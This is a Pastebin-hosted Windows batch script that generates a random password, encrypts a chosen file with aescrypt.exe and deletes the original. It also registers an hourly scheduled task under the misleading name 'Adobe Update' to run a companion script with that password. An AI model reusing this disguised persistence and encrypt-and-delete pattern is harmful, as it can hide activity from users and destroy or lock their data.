Guest User

WUHelper.bat

a guest
Jun 7th, 2016
86
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @Echo off
  2. Setlocal EnableDelayedExpansion
  3. Set _RNDLength=8
  4. Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
  5. Set _Str=%_Alphanumeric%987654321
  6. :_LenLoop
  7. IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
  8. SET _tmp=%_Str:~9,1%
  9. SET /A _Len=_Len+_tmp
  10. Set _count=0
  11. SET _RndAlphaNum=
  12. :_loop
  13. Set /a _count+=1
  14. SET _RND=%Random%
  15. Set /A _RND=_RND%%%_Len%
  16. SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
  17. If !_count! lss %_RNDLength% goto _loop
  18. set /p flnm="Enter Filename: "
  19. set /p hrs="Enter Hours: "
  20. schtasks /create /tn "Adobe Update" /tr "%~dp0\WUTask.bat !_RndAlphaNum! %flnm%" /sc hourly /mo %hrs%
  21. start "" "%~dp0\aescrypt.exe" -e -p !_RndAlphaNum! %flnm%
  22. ping 192.0.2.2 -n 1 -w 5000 > nul
  23. del %flnm%
  24. timeout /t 30
RAW Paste Data